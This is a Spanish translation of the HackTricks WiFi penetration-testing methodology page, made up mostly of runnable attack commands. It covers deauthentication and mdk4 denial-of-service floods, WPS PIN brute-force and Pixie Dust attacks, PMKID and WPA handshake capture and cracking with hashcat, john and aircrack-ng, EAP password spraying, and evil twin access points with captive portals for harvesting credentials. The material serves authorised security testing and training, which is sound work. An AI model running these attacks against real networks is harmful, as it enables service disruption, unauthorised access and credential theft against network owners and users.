hacktricks/generic-methodologies-and-resources/pentesting-wifi
2024-03-26 19:23:05 +00:00
..
basic-forensic-methodology f 2023-06-05 20:44:19 +02:00
evil-twin-eap-tls.md Translated ['blockchain/blockchain-and-crypto-currencies/README.md', 'ge 2024-02-08 03:51:52 +00:00
README.md Translated ['generic-methodologies-and-resources/pentesting-wifi/README. 2024-03-26 19:23:05 +00:00

Pentesting Wifi

Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de recompensas por errores!

Perspectivas de Hacking
Involúcrate con contenido que explora la emoción y los desafíos del hacking

Noticias de Hacking en Tiempo Real
Mantente al día con el mundo del hacking a través de noticias e información en tiempo real

Últimos Anuncios
Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y las actualizaciones importantes de las plataformas

Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy!

Comandos básicos de Wifi

ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis

Herramientas

EAPHammer

git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup

Airgeddon

Airgeddon es una herramienta de prueba de penetración todo en uno para redes inalámbricas. Permite a los pentesters realizar una variedad de ataques contra redes WiFi, como ataques de deautenticación, ataques de fuerza bruta, ataques de Evil Twin, y más. Airgeddon simplifica el proceso de prueba de penetración de redes inalámbricas al proporcionar una interfaz gráfica de usuario fácil de usar y una amplia gama de funciones y herramientas integradas.

mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe

Ejecutar airgeddon con docker

docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon

wifiphisher

Puede realizar ataques de Evil Twin, KARMA y Beacons Conocidos y luego utilizar una plantilla de phishing para lograr obtener la contraseña real de la red o capturar credenciales de redes sociales.

git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies

Wifite2

Esta herramienta automatiza ataques WPS/WEP/WPA-PSK. Automáticamente:

  • Configura la interfaz en modo monitor
  • Escanea posibles redes - Y te permite seleccionar a la(s) víctima(s)
  • Si es WEP - Lanza ataques WEP
  • Si es WPA-PSK
  • Si es WPS: Ataque Pixie dust y ataque de fuerza bruta (ten cuidado, el ataque de fuerza bruta podría llevar mucho tiempo). Ten en cuenta que no intenta PIN nulo o PIN generados de base de datos.
  • Intenta capturar el PMKID del AP para crackearlo
  • Intenta desautenticar clientes del AP para capturar un handshake
  • Si tiene PMKID o Handshake, intenta fuerza bruta usando las 5000 contraseñas principales.

Resumen de Ataques

  • DoS
  • Paquetes de desautenticación/desasociación -- Desconectar a todos (o a un ESSID/Cliente específico)
  • APs falsos aleatorios -- Ocultar redes, posiblemente bloquear escáneres
  • Sobrecargar AP -- Intentar bloquear el AP (generalmente no muy útil)
  • WIDS -- Jugar con el IDS
  • TKIP, EAPOL -- Algunos ataques específicos para DoS en algunos APs
  • Cracking
  • Crackear WEP (varias herramientas y métodos)
  • WPA-PSK
  • PIN de WPS "Fuerza Bruta"
  • WPA PMKID fuerza bruta
  • [DoS +] Captura de handshake WPA + Crackeo
  • WPA-MGT
  • Captura de nombre de usuario
  • Fuerza Bruta de credenciales
  • Doble Malvado (con o sin DoS)
  • Doble Malvado Abierto [+ DoS] -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN
  • Doble Malvado WPA-PSK -- Útil para ataques de red si conoces la contraseña
  • WPA-MGT -- Útil para capturar credenciales de empresa
  • KARMA, MANA, MANA Ruidoso, Beacon Conocido
  • + Abierto -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN
  • + WPA -- Útil para capturar handshakes de WPA

DOS

Paquetes de Desautenticación

Descripción de aquí:.

Los ataques de desautenticación, un método prevalente en el hacking de Wi-Fi, implican forjar marcos de "gestión" para desconectar dispositivos de una red de forma forzada. Estos paquetes no encriptados engañan a los clientes haciéndoles creer que provienen de la red legítima, permitiendo a los atacantes recopilar handshakes de WPA con fines de cracking o para interrumpir persistentemente las conexiones de red. Esta táctica, alarmante en su simplicidad, es ampliamente utilizada y tiene implicaciones significativas para la seguridad de la red.

Desautenticación usando Aireplay-ng

aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
  • -0 significa desautenticación
  • 1 es el número de desautenticaciones a enviar (puedes enviar varias si lo deseas); 0 significa enviarlas continuamente
  • -a 00:14:6C:7E:40:80 es la dirección MAC del punto de acceso
  • -c 00:0F:B5:34:30:30 es la dirección MAC del cliente a desautenticar; si se omite esto, se envía una desautenticación de difusión (no siempre funciona)
  • ath0 es el nombre de la interfaz

Paquetes de Desasociación

Los paquetes de desasociación, similares a los paquetes de desautenticación, son un tipo de trama de gestión utilizada en redes Wi-Fi. Estos paquetes sirven para cortar la conexión entre un dispositivo (como una computadora portátil o un teléfono inteligente) y un punto de acceso (AP). La distinción principal entre la desasociación y la desautenticación radica en sus escenarios de uso. Mientras que un AP emite paquetes de desautenticación para eliminar explícitamente dispositivos no autorizados de la red, los paquetes de desasociación se envían típicamente cuando el AP está apagándose, reiniciándose o cambiando de ubicación, lo que requiere la desconexión de todos los nodos conectados.

Este ataque puede ser realizado por mdk4 (modo "d"):

# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F

Más ataques DOS por mdk4

En aquí.

MODO DE ATAQUE b: Inundación de Beacons

Envía tramas de beacons para mostrar APs falsos a los clientes. ¡Esto a veces puede hacer que los escáneres de red e incluso los controladores se bloqueen!

# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m

MODO DE ATAQUE a: Denegación de Servicio de Autenticación

Enviar tramas de autenticación a todos los Puntos de Acceso (APs) accesibles dentro del rango puede sobrecargar estos APs, especialmente cuando hay numerosos clientes involucrados. Este tráfico intenso puede provocar inestabilidad en el sistema, haciendo que algunos APs se congelen o incluso se reinicien.

# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m

MODO DE ATAQUE p: Sondeo de SSID y Fuerza Bruta

Sondear Puntos de Acceso (APs) verifica si un SSID se revela correctamente y confirma el alcance del AP. Esta técnica, combinada con fuerza bruta de SSIDs ocultos con o sin una lista de palabras, ayuda a identificar y acceder a redes ocultas.

MODO DE ATAQUE m: Explotación de Contramedidas de Michael

Enviar paquetes aleatorios o duplicados a diferentes colas de QoS puede desencadenar Contramedidas de Michael en APs TKIP, lo que provoca un apagado de AP de un minuto. Este método es una táctica de ataque DoS (Denegación de Servicio) eficiente.

# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]

MODO DE ATAQUE e: Inyección de Paquetes EAPOL Start y Logoff

Inundar un AP con tramas de inicio EAPOL crea sesiones falsas, abrumando al AP y bloqueando clientes legítimos. Alternativamente, inyectar mensajes falsos de Logoff EAPOL desconecta a los clientes de forma forzada, ambos métodos interrumpen efectivamente el servicio de red.

# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]

MODO DE ATAQUE s: Ataques para redes de malla IEEE 802.11s

Varios ataques en la gestión de enlaces y enrutamiento en redes de malla.

MODO DE ATAQUE w: Confusión de WIDS

Conectar clientes entre múltiples nodos WDS o puntos de acceso falsos puede manipular los Sistemas de Detección y Prevención de Intrusiones, creando confusión y posibles abusos del sistema.

# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]

MODO DE ATAQUE f: Fuzzer de Paquetes

Un fuzzer de paquetes que ofrece diversas fuentes de paquetes y un conjunto completo de modificadores para la manipulación de paquetes.

Airggedon

Airgeddon ofrece la mayoría de los ataques propuestos en los comentarios anteriores:

WPS

WPS (Wi-Fi Protected Setup) simplifica el proceso de conexión de dispositivos a un enrutador, mejorando la velocidad de configuración y facilidad para redes encriptadas con WPA o WPA2 Personal. Es ineficaz para la seguridad fácilmente comprometida de WEP. WPS emplea un PIN de 8 dígitos, validado en dos mitades, lo que lo hace susceptible a ataques de fuerza bruta debido a su número limitado de combinaciones (11,000 posibilidades).

Fuerza Bruta en WPS

Existen 2 herramientas principales para realizar esta acción: Reaver y Bully.

  • Reaver ha sido diseñado para ser un ataque robusto y práctico contra WPS, y ha sido probado contra una amplia variedad de puntos de acceso e implementaciones de WPS.
  • Bully es una nueva implementación del ataque de fuerza bruta en WPS, escrita en C. Tiene varias ventajas sobre el código original de reaver: menos dependencias, mejor rendimiento de memoria y CPU, manejo correcto de endianness y un conjunto de opciones más robusto.

El ataque explota la vulnerabilidad del PIN de WPS, particularmente la exposición de los primeros cuatro dígitos y el papel del último dígito como suma de verificación, facilitando el ataque de fuerza bruta. Sin embargo, las defensas contra ataques de fuerza bruta, como bloquear las direcciones MAC de atacantes agresivos, exigen rotación de direcciones MAC para continuar el ataque.

Al obtener el PIN de WPS con herramientas como Bully o Reaver, el atacante puede deducir la PSK de WPA/WPA2, asegurando acceso persistente a la red.

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3

Fuerza Bruta Inteligente

Este enfoque refinado se centra en los PIN de WPS utilizando vulnerabilidades conocidas:

  1. PINs Pre-descubiertos: Utiliza una base de datos de PINs conocidos vinculados a fabricantes específicos que se sabe que utilizan PINs de WPS uniformes. Esta base de datos correlaciona los primeros tres octetos de las direcciones MAC con los posibles PINs para estos fabricantes.
  2. Algoritmos de Generación de PIN: Aprovecha algoritmos como ComputePIN y EasyBox, que calculan PINs de WPS basados en la dirección MAC del AP. El algoritmo de Arcadyan requiere adicionalmente un ID de dispositivo, añadiendo una capa al proceso de generación de PIN.

Ataque WPS Pixie Dust

Dominique Bongard descubrió una falla en algunos Puntos de Acceso (APs) relacionada con la creación de códigos secretos, conocidos como nonces (E-S1 y E-S2). Si estos nonces pueden ser descifrados, crackear el PIN de WPS del AP se vuelve fácil. El AP revela el PIN dentro de un código especial (hash) para demostrar que es legítimo y no un AP falso (rogue). Estos nonces son esencialmente las "llaves" para desbloquear la "caja fuerte" que contiene el PIN de WPS. Más información al respecto se puede encontrar aquí.

En términos simples, el problema es que algunos APs no utilizaban claves lo suficientemente aleatorias para cifrar el PIN durante el proceso de conexión. Esto hace que el PIN sea vulnerable a ser adivinado desde fuera de la red (ataque de fuerza bruta offline).

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully  wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3

Si no quieres cambiar el dispositivo al modo monitor, o si reaver y bully tienen algún problema, puedes probar OneShot-C. Esta herramienta puede realizar un ataque Pixie Dust sin necesidad de cambiar al modo monitor.

./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37

Ataque de Pin nulo

Algunos sistemas mal diseñados incluso permiten que un PIN nulo (un PIN vacío o inexistente) conceda acceso, lo cual es bastante inusual. La herramienta Reaver es capaz de probar esta vulnerabilidad, a diferencia de Bully.

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''

Airgeddon

Todos los ataques WPS propuestos se pueden realizar fácilmente utilizando airgeddon.

  • 5 y 6 te permiten probar tu PIN personalizado (si tienes alguno)
  • 7 y 8 realizan el ataque Pixie Dust
  • 13 te permite probar el PIN NULL
  • 11 y 12 recopilarán los PIN relacionados con el AP seleccionado de las bases de datos disponibles y generarán posibles PIN utilizando: ComputePIN, EasyBox y opcionalmente Arcadyan (¡recomendado, ¿por qué no?)
  • 9 y 10 probarán cada PIN posible

WEP

Tan obsoleto y poco utilizado en la actualidad. Solo ten en cuenta que airgeddon tiene una opción WEP llamada "All-in-One" para atacar este tipo de protección. Más herramientas ofrecen opciones similares.


Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de recompensas por errores.

Perspectivas de Hacking
Participa en contenido que profundiza en la emoción y los desafíos del hacking

Noticias de Hacking en Tiempo Real
Mantente actualizado con el mundo del hacking a través de noticias e información en tiempo real

Últimos Anuncios
Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y las actualizaciones cruciales de la plataforma

Únete a nosotros en Discord ¡y comienza a colaborar con los mejores hackers hoy!


WPA/WPA2 PSK

PMKID

En 2018, hashcat reveló un nuevo método de ataque, único porque solo necesita un solo paquete y no requiere que ningún cliente esté conectado al AP objetivo, solo la interacción entre el atacante y el AP.

Muchos enrutadores modernos agregan un campo opcional al primer marco EAPOL durante la asociación, conocido como Red de Seguridad Robusta. Esto incluye el PMKID.

Como explica la publicación original, el PMKID se crea utilizando datos conocidos:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

Dado que el "Nombre PMK" es constante, conocemos el BSSID del AP y de la estación, y el PMK es idéntico al de un apretón de manos completo de 4 vías, hashcat puede usar esta información para descifrar la PSK y recuperar la frase de paso!

Para recopilar esta información y realizar localmente la fuerza bruta de la contraseña, puedes hacer:

airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1

Los PMKIDs capturados se mostrarán en la consola y también se guardarán dentro de _ /tmp/attack.pcap_
Ahora, convierte la captura al formato de hashcat/john y descífrala:

hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Por favor, ten en cuenta que el formato correcto de un hash contiene 4 partes, como: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838 Si el tuyo solo contiene 3 partes, entonces, es inválido (la captura PMKID no fue válida).

Ten en cuenta que hcxdumptool también captura handshakes (algo así aparecerá: MP:M1M2 RC:63258 EAPOLTIME:17091). Puedes transformar los handshakes al formato de hashcat/john usando cap2hccapx.

tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes

He notado que algunas capturas de apretones de manos realizadas con esta herramienta no se pudieron descifrar incluso sabiendo la contraseña correcta. Recomiendo capturar apretones de manos también de forma tradicional si es posible, o capturar varios de ellos usando esta herramienta.

Captura de apretón de manos

Un ataque a redes WPA/WPA2 se puede ejecutar capturando un apretón de manos e intentando descifrar la contraseña sin conexión. Este proceso implica monitorear la comunicación de una red específica y BSSID en un canal particular. Aquí tienes una guía simplificada:

  1. Identifica el BSSID, el canal y un cliente conectado de la red objetivo.
  2. Usa airodump-ng para monitorear el tráfico de red en el canal y BSSID especificados, con la esperanza de capturar un apretón de manos. El comando se verá así:
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
  1. Para aumentar la probabilidad de capturar un handshake, desconecta momentáneamente al cliente de la red para forzar una nueva autenticación. Esto se puede hacer utilizando el comando aireplay-ng, que envía paquetes de desautenticación al cliente:
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios

Nota que una vez que el cliente fue desautenticado, podría intentar conectarse a un AP diferente o, en otros casos, a una red diferente.

Una vez que en airodump-ng aparezca información de un handshake, significa que el handshake fue capturado y puedes dejar de escuchar:

Una vez que el handshake es capturado, puedes descifrarlo con aircrack-ng:

aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap

Verificar si hay handshake en el archivo

aircrack

aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture

tshark

tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.

cowpatty

cowpatty -r psk-01.cap -s "ESSID" -f -

Si esta herramienta encuentra un apretón de manos incompleto de un ESSID antes que el completado, no detectará el válido.

pyrit

apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze

WPA Empresa (MGT)

En configuraciones de WiFi empresarial, encontrarás varios métodos de autenticación, cada uno proporcionando diferentes niveles de seguridad y características de gestión. Cuando utilizas herramientas como airodump-ng para inspeccionar el tráfico de red, es posible que notes identificadores para estos tipos de autenticación. Algunos métodos comunes incluyen:

6A:FE:3B:73:18:FB  -58       19        0    0   1  195  WPA2 CCMP   MGT  NameOfMyWifi
  1. EAP-GTC (Generic Token Card):
  • Este método admite tokens de hardware y contraseñas de un solo uso dentro de EAP-PEAP. A diferencia de MSCHAPv2, no utiliza un desafío entre pares y envía contraseñas en texto plano al punto de acceso, lo que plantea un riesgo de ataques de degradación.
  1. EAP-MD5 (Message Digest 5):
  • Implica enviar el hash MD5 de la contraseña desde el cliente. No se recomienda debido a la vulnerabilidad a ataques de diccionario, falta de autenticación del servidor e incapacidad para generar claves WEP específicas de sesión.
  1. EAP-TLS (Transport Layer Security):
  • Utiliza certificados tanto del lado del cliente como del servidor para la autenticación y puede generar dinámicamente claves WEP basadas en usuario y sesión para asegurar las comunicaciones.
  1. EAP-TTLS (Tunneled Transport Layer Security):
  • Proporciona autenticación mutua a través de un túnel cifrado, junto con un método para derivar claves WEP dinámicas, por usuario y por sesión. Solo requiere certificados del lado del servidor, con los clientes utilizando credenciales.
  1. PEAP (Protected Extensible Authentication Protocol):
  • Funciona de manera similar a EAP creando un túnel TLS para comunicaciones protegidas. Permite el uso de protocolos de autenticación más débiles sobre EAP debido a la protección ofrecida por el túnel.
  • PEAP-MSCHAPv2: A menudo referido como PEAP, combina el mecanismo de desafío/respuesta vulnerable MSCHAPv2 con un túnel TLS protector.
  • PEAP-EAP-TLS (o PEAP-TLS): Similar a EAP-TLS pero inicia un túnel TLS antes de intercambiar certificados, ofreciendo una capa adicional de seguridad.

Puedes encontrar más información sobre estos métodos de autenticación aquí y aquí.

Captura de Nombre de Usuario

Al leer https://tools.ietf.org/html/rfc3748#page-27 parece que si estás utilizando EAP, los "mensajes de Identidad" deben ser compatibles, y el nombre de usuario se enviará en claro en los mensajes de Respuesta de Identidad.

Incluso al utilizar uno de los métodos de autenticación más seguros: PEAP-EAP-TLS, es posible capturar el nombre de usuario enviado en el protocolo EAP. Para hacerlo, captura una comunicación de autenticación (inicia airodump-ng en un canal y wireshark en la misma interfaz) y filtra los paquetes por eapol.
Dentro del paquete "Respuesta, Identidad", aparecerá el nombre de usuario del cliente.

Identidades Anónimas

El ocultamiento de identidad es compatible tanto con EAP-PEAP como con EAP-TTLS. En el contexto de una red WiFi, una solicitud de EAP-Identidad es típicamente iniciada por el punto de acceso (AP) durante el proceso de asociación. Para garantizar la protección del anonimato del usuario, la respuesta del cliente EAP en el dispositivo del usuario contiene solo la información esencial requerida para que el servidor RADIUS inicial procese la solicitud. Este concepto se ilustra a través de los siguientes escenarios:

  • EAP-Identidad = anónimo
  • En este escenario, todos los usuarios emplean el seudónimo "anónimo" como su identificador de usuario. El servidor RADIUS inicial funciona como un servidor EAP-PEAP o EAP-TTLS, responsable de gestionar el lado del servidor del protocolo PEAP o TTLS. El método de autenticación interno (protegido) es manejado localmente o delegado a un servidor RADIUS remoto (de origen).
  • EAP-Identidad = anónimo@reino_x
  • En esta situación, los usuarios de diferentes reinos ocultan sus identidades mientras indican sus respectivos reinos. Esto permite que el servidor RADIUS inicial reenvíe las solicitudes EAP-PEAP o EAP-TTLS a servidores RADIUS en sus reinos de origen, que actúan como el servidor PEAP o TTLS. El servidor RADIUS inicial opera únicamente como un nodo de retransmisión RADIUS.

  • Alternativamente, el servidor RADIUS inicial puede funcionar como el servidor EAP-PEAP o EAP-TTLS y manejar el método de autenticación protegido o reenviarlo a otro servidor. Esta opción facilita la configuración de políticas distintas para varios reinos.

En EAP-PEAP, una vez que se establece el túnel TLS entre el servidor PEAP y el cliente PEAP, el servidor PEAP inicia una solicitud de EAP-Identidad y la transmite a través del túnel TLS. El cliente responde a esta segunda solicitud de EAP-Identidad enviando una respuesta de EAP-Identidad que contiene la verdadera identidad del usuario a través del túnel cifrado. Este enfoque evita efectivamente la revelación de la identidad real del usuario a cualquier persona que esté interceptando el tráfico 802.11.

EAP-TTLS sigue un procedimiento ligeramente diferente. Con EAP-TTLS, el cliente típicamente se autentica usando PAP o CHAP, asegurado por el túnel TLS. En este caso, el cliente incluye un atributo Nombre de Usuario y ya sea una Contraseña o un atributo Contraseña CHAP en el mensaje TLS inicial enviado después del establecimiento del túnel.

Independientemente del protocolo elegido, el servidor PEAP/TTLS obtiene conocimiento de la verdadera identidad del usuario después de que se haya establecido el túnel TLS. La verdadera identidad puede representarse como usuario@reino o simplemente usuario. Si el servidor PEAP/TTLS también es responsable de autenticar al usuario, ahora posee la identidad del usuario y procede con el método de autenticación protegido por el túnel TLS. Alternativamente, el servidor PEAP/TTLS puede reenviar una nueva solicitud RADIUS al servidor RADIUS de origen del usuario. Esta nueva solicitud RADIUS omite la capa de protocolo PEAP o TTLS. En casos donde el método de autenticación protegido es EAP, los mensajes EAP internos se transmiten al servidor RADIUS de origen sin el envoltorio EAP-PEAP o EAP-TTLS. El atributo Nombre de Usuario del mensaje RADIUS saliente contiene la verdadera identidad del usuario, reemplazando el Nombre de Usuario anónimo del mensaje RADIUS entrante. Cuando el método de autenticación protegido es PAP o CHAP (soportado solo por TTLS), el Nombre de Usuario y otros atributos de autenticación extraídos de la carga útil TLS se sustituyen en el mensaje RADIUS saliente, desplazando el Nombre de Usuario anónimo y los atributos de Mensaje EAP TTLS encontrados en la solicitud RADIUS entrante.

Para más información, consulta https://www.interlinknetworks.com/app_notes/eap-peap.htm

EAP-Bruteforce (password spray)

Si se espera que el cliente utilice un nombre de usuario y contraseña (nota que EAP-TLS no será válido en este caso), entonces podrías intentar obtener una lista de nombres de usuario (ver la siguiente parte) y contraseñas e intentar bruteforce el acceso usando air-hammer.

./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt

También puedes realizar este ataque utilizando eaphammer:

./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt

Ataques a clientes: Teoría

Selección de red y roaming

  • El protocolo 802.11 define cómo una estación se une a un Conjunto de Servicios Extendido (ESS) pero no especifica los criterios para seleccionar un ESS o un punto de acceso (AP) dentro de él.
  • Las estaciones pueden moverse entre APs que comparten el mismo ESSID, manteniendo la conectividad en un edificio o área.
  • El protocolo requiere autenticación de la estación al ESS pero no exige autenticación del AP a la estación.

Listas de Redes Preferidas (PNL)

  • Las estaciones almacenan el ESSID de cada red inalámbrica a la que se conectan en su Lista de Redes Preferidas (PNL), junto con detalles de configuración específicos de la red.
  • La PNL se utiliza para conectarse automáticamente a redes conocidas, mejorando la experiencia del usuario al agilizar el proceso de conexión.

Escaneo pasivo

  • Los APs emiten periódicamente tramas de balizas, anunciando su presencia y características, incluido el ESSID del AP a menos que la difusión esté desactivada.
  • Durante el escaneo pasivo, las estaciones escuchan las tramas de balizas. Si el ESSID de una baliza coincide con una entrada en la PNL de la estación, la estación puede conectarse automáticamente a ese AP.
  • El conocimiento de la PNL de un dispositivo permite una posible explotación al imitar el ESSID de una red conocida, engañando al dispositivo para que se conecte a un AP falso.

Sondeo activo

  • El sondeo activo implica que las estaciones envíen solicitudes de sondeo para descubrir APs cercanos y sus características.
  • Las solicitudes de sondeo dirigidas apuntan a un ESSID específico, ayudando a detectar si una red en particular está dentro del alcance, incluso si es una red oculta.
  • Las solicitudes de sondeo de difusión tienen un campo SSID nulo y se envían a todos los APs cercanos, permitiendo a la estación buscar cualquier red preferida sin revelar el contenido de su PNL.

AP simple con redirección a Internet

Antes de explicar cómo realizar ataques más complejos, se va a explicar cómo simplemente crear un AP y redirigir su tráfico a una interfaz conectada a Internet.

Usando ifconfig -a, verifica que la interfaz wlan para crear el AP y la interfaz conectada a Internet estén presentes.

DHCP y DNS

apt-get install dnsmasq #Manages DHCP and DNS

Cree el archivo de configuración /etc/dnsmasq.conf:

interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

Luego configura las IPs y las rutas:

ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

Y luego inicie dnsmasq:

dnsmasq -C dnsmasq.conf -d

hostapd

apt-get install hostapd

Crear un archivo de configuración hostapd.conf:

interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1

Detener procesos molestos, establecer modo monitor y iniciar hostapd:

airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf

Reenvío y Redirección

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

Evil Twin

Un ataque de evil twin explota la forma en que los clientes de WiFi reconocen las redes, confiando principalmente en el nombre de la red (ESSID) sin requerir que la estación base (punto de acceso) se autentique ante el cliente. Los puntos clave incluyen:

  • Dificultad en la Diferenciación: Los dispositivos tienen dificultades para distinguir entre puntos de acceso legítimos y falsos cuando comparten el mismo ESSID y tipo de cifrado. Las redes del mundo real a menudo utilizan múltiples puntos de acceso con el mismo ESSID para extender la cobertura de manera transparente.

  • Roaming de Cliente y Manipulación de Conexión: El protocolo 802.11 permite a los dispositivos moverse entre puntos de acceso dentro del mismo ESSID. Los atacantes pueden explotar esto atrayendo a un dispositivo para que se desconecte de su estación base actual y se conecte a una falsa. Esto se puede lograr ofreciendo una señal más fuerte o interrumpiendo la conexión al punto de acceso legítimo a través de métodos como paquetes de desautenticación o interferencia.

  • Desafíos en la Ejecución: Ejecutar con éxito un ataque de evil twin en entornos con múltiples puntos de acceso bien ubicados puede ser desafiante. Desautenticar un único punto de acceso legítimo a menudo resulta en que el dispositivo se conecte a otro punto de acceso legítimo a menos que el atacante pueda desautenticar todos los puntos de acceso cercanos o colocar estratégicamente el punto de acceso falso.

Puedes crear un Evil Twin Abierto muy básico (sin capacidades para enrutar tráfico a Internet) haciendo:

airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon

También puedes crear un Evil Twin usando eaphammer (ten en cuenta que para crear evil twins con eaphammer la interfaz NO debe estar en modo monitor):

./eaphammer -i wlan0 --essid exampleCorp --captive-portal

O utilizando Airgeddon: Opciones: 5,6,7,8,9 (dentro del menú de ataque Evil Twin).

Por favor, ten en cuenta que por defecto, si un ESSID en la PNL está guardado como protegido con WPA, el dispositivo no se conectará automáticamente a un Evil Twin abierto. Puedes intentar realizar un DoS al AP real y esperar a que el usuario se conecte manualmente a tu Evil Twin abierto, o podrías realizar un DoS al AP real y usar un Evil Twin con WPA para capturar el handshake (usando este método no podrás permitir que la víctima se conecte a ti ya que no conoces la PSK, pero puedes capturar el handshake e intentar crackearlo).

Algunos sistemas operativos y antivirus advertirán al usuario que conectarse a una red abierta es peligroso...

Evil Twin con WPA/WPA2

Puedes crear un Evil Twin utilizando WPA/2 y si los dispositivos están configurados para conectarse a ese SSID con WPA/2, intentarán conectarse. De todas formas, para completar el handshake de 4 vías también necesitas saber la contraseña que el cliente va a utilizar. Si no la conoces, la conexión no se completará.

./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"

Evil Twin Empresarial

Para entender estos ataques, recomendaría leer primero la breve explicación de WPA Enterprise.

Usando hostapd-wpe

